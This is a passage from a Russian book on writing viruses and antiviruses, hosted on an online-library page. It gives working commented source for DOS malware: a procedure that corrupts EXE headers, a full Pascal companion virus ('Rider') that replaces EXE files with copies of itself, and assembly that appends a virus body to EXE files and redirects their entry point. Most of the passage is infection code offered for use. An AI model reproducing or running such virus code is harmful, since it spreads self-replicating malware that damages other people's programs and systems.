KnigaRead.com/

Игорь Гульев - Создаем вирус и антивирус

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн "Игорь Гульев - Создаем вирус и антивирус". Жанр: Прочая околокомпьтерная литература издательство неизвестно, год неизвестен.
Перейти на страницу:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin

Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,

High Heap Limit 0b }

{Используются модули Dos и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses Dos;

Const

Fail=’Cannot execute ’#13#10’Disk is write−protected’;

{Расширения файлов, которые будем использовать}

Ovr=’.OWL’;

Ovl=’.OVL’;

Exe=’.EXE’;

Var

DirInfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

{Процедура для проверки диска на Read Only}

procedure CheckRO;

begin

Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If IOResult <> 0 Then

{Если диск защищен от записи, то ответ ’Access denied’}

begin

WriteLn(Fail);

Halt(5);

end;

end;

{Процедура прогонки оригинала}

procedure ExecReal;

begin

{Находим оригинал}

FindFirst(OurName+Ovl, AnyFile, DirInfo);

If DosError <> 0 Then

{Если не нашли}

begin

WriteLn(’Virus RIDER. Let’s go on riding!’);

WriteLn(’I beg your pardon, your infected file cannot be executed.’);

{Выход с DosError=Файл не найден}

Halt(18);

end;

{Переименовываем программу в OVL}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovr);

{Переименовываем оверлей в EXE}

Assign(Ren, OurName+Ovl);

ReName(Ren, OurName+Exe);

{И запускаем его}

SwapVectors;

Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);

SwapVectors;

{А теперь возвращаем все на место}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovl);

Assign(Ren, OurName+Ovr);

ReName(Ren, OurName+Exe);

end;

{Процедура заражения}

procedure Infect;

begin

{Переименовываем жертву в OVL}

Assign(Ren, Victim);

ReName(Ren, VictimName+Ovl);

{Копируем тело вируса на место жертвы}

SwapVectors;

Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);

SwapVectors;

end;

{Процедура поиска жертвы}

procedure FindFile;

begin

{В текущем каталоге ищем EXE−файл}

FindFirst(’*.EXE’, AnyFile, DirInfo);

If DosError=0 Then

{И если он найден}

begin

{Запоминаем имя жертвы}

Victim:=DirInfo.Name;

{Запоминаем имя без расширения}

VictimName:=Copy(Victim, 1, Length(Victim)–4);

{Ищем оверлей с тем же именем}

FindFirst(VictimName+Ovl, AnyFile, Sr);

If DosError <> 0 Then Infect;

end;

end;

{Процедура инициализации переменных}

procedure Init;

begin

{Командная строка}

CmdLine:=’’;

{Полное имя нашей программы}

OurProg:=ParamStr(0);

{Имя нашей программы без расширения}

OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);

For I:=1 To ParamCount Do

begin

{Запоминаем параметры}

CmdLine:=ParamStr(I)+’ ’;

end;

end;

{Основная подпрограмма}

begin

{А эту табличку запишем в код для тех,

кто распакует вирус и начнет в нем копаться}

If False Then

begin

WriteLn(#13#10 ’ ’);

end;

{Инициализируемся}

Init;

{Проверка диска на R/O}

CheckRO;

{Ищем и заражаем}

FindFile;

{Загружаем оверлей}

ExecReal;

end.

Вирусы, внедряющиеся в программу (Parasitic)

Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

Стандартное заражение EXE-файлов

Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:

;Читаем заголовок EXE−файла (точнее, только первые 18h байт,

;которых вполне достаточно)

ReadHeader:

mov ah,3Fh

mov dx,offset EXEHeader

mov cx,0018h

int 21h

;Устанавливаем в SI адрес считанного заголовка. В дальнейшем

;будем обращаться к заголовку, используя SI+смещение элемента

mov si,offset EXEHeader

;Получаем реальную длину файла, переместив указатель текущей

;позиции чтения/записи в конец файла

GetRealFSize:

mov ax,4202h

mov bx,Handle

xor cx,cx

xor dx,dx

int 21h

;Сохраним полученную длину файла

mov Reallen,dx

mov Reallen+2,ax

;Так как речь идет о стандартной процедуре заражения, нужно

;помнить, что все вышесказанное не должно затрагивать

;оверлейные файлы. Их длина, указанная в заголовке,

;меньше реальной, то есть эти файлы загружаются

;в память не полностью.

;Следовательно, если заразить такой файл, вирус попадет

;в незагружаемую часть.

;Сохраним в стеке реальную длину EXE−файла

push dx

push ax

;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток

CompareOVL:

mov cx,0200h

div cx

;На данный момент в регистре AX находится число страниц

;(в каждой странице содержится 512 байт),

;а в регистре DX – остаток, образующий

;еще одну (неучтенную) страницу.

;Добавим эту страницу к общему числу страниц –

;если остаток не равен нулю, то

;увеличим число страниц

or dx,dx

jz m1

inc ax

m1:

;Будем считать пригодным для заражения

;стандартным способом файлы с длиной,

;полностью совпадающей с указанной в заголовке

cmp ax,[si+PartPag]

jne ExitProc

cmp dx,[si+PageCnt]

jne ExitProc

;Чтобы вирус смог вернуть управление

;зараженной программе, сохраним поля ReloSS,

;ExeSP, ReloCS, ExeIP из заголовка EXE−файла.

;Значения констант, используемых в программе,

;равны смещению соответствующего

;элемента в заголовке EXE−файла (Приложение А)

InitRetVars:

mov ax,[si+ReloSS]

mov oldss,ax

mov ax,[si+ExeSP]

mov oldsp,ax

mov ax,[si+ReloCS]

mov oldcs,ax

mov ax,[si+ExeIP]

mov oldip,ax

;Восстановим из стека реальную длину файла

;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

;Рассчитаем длину программы с вирусом, для чего прибавим

;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE – длина тела вируса

adc dx,0

;Рассчитаем получившуюся длину (одна страница – 512 байт)

;и остаток в последней странице (так же,

;как рассчитывали длину файла без вируса)

mov cx,0200h

div cx

or dx,dx

jz new_len

inc ax

New_len:

;Внесем в заголовок новую длину файла

mov [si+PageCnt],ax

mov [si+PartPag],dx

;Прочитаем реальную длину файла.

;По ней будем рассчитывать новую

;точку входа в программу (адрес запуска)

Eval_new_entry:

mov dx,Reallen+2

mov ax,Reallen

;Рассчитаем новую точку входа.

;Точка входа в вирус должна находиться

;в начале его тела. Другими словами, нужно к длине файла

;прибавить смещение точки входа.

;Разделим длину на размер параграфа (10h)

mov cx,10h

div cx

;Получили число параграфов (AX) и остаток (DX – смещение

;вируса в последнем параграфе).

;Отнимем от числа параграфов в файле число

;параграфов в заголовке – получим сегмент входа в EXE−файл

sub ax,[si+HdrSize]

;Запишем новую точку входа в заголовок

mov [si+ReloCS],ax

mov [si+ExeIP],dx

;Замечание: можно было округлить полученное число,

;и вирус начинался бы с 0000h.

;Но этого делать не стоит.

;Естественно, все обращения к данным в этом вирусе

;должны быть нефиксированными, как и в любом другом вирусе.

;Вместо ”mov ax,ANYDATA” придется делать так:

; mov si,VIRSTART

; mov ax,[si+offset ANYDATA]

;где offset ANYDATA – смещение относительно начала тела вируса

;Стек поставим за тело вируса – байт на 100h. Потом обязательно

;вернем, иначе можно стереть заготовленные в стеке значения!

;Установим сегмент стека такой же, как и кода,

;а указатель на вершину стека –

;на 100h байт после тела вируса

mov [si+ReloSS],ax

mov ax,VIRSIZE+100h

mov [si+ExeSP],ax

;Теперь запишем заголовок в файл, не забыв и тело вируса.

;Рекомендуется писать сначала тело, а потом заголовок.

;Если тело вдруг не допишется,

;то файл испортим зря

UpdateFile:

;Запишем тело вируса

WriteBody:

;Установим указатель чтения/записи в конец файла

mov bx,Handle

xor cx,cx

xor dx,dx

mov ax,4202h

int 21h

;Запишем тело вируса в файл

mov ah,40h

mov cx,VIRSIZE

mov dx,offset VIRStart

int 21h

;Запишем заголовок

WriteHeader:

;Установим указатель чтения/записи в начало файла

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h

;Запишем заголовок в файл

mov cx,0018h

mov ah,40h

mov dx,si

int 21h

Итак, вирус «поселился» в EXE-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:

CureEXE:

StackBack:

;Установим первоначальный указатель (сегмент и смещение) стека

mov ax,ds

;Прибавим 0010h, после чего в AX будет

;находится сегмент, с которого

;загружен программный модуль

add ax,10h

;Прибавим первоначальный сегмент стека

db @add_ax ;код ADD AX, дальше по аналогии

OldSS dw ? ;это значение было установлено

;при заражении

;Запретим прерывания, так как со стеком нельзя работать,

;пока и сегмент, и смещение не установлены в нужное значение

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*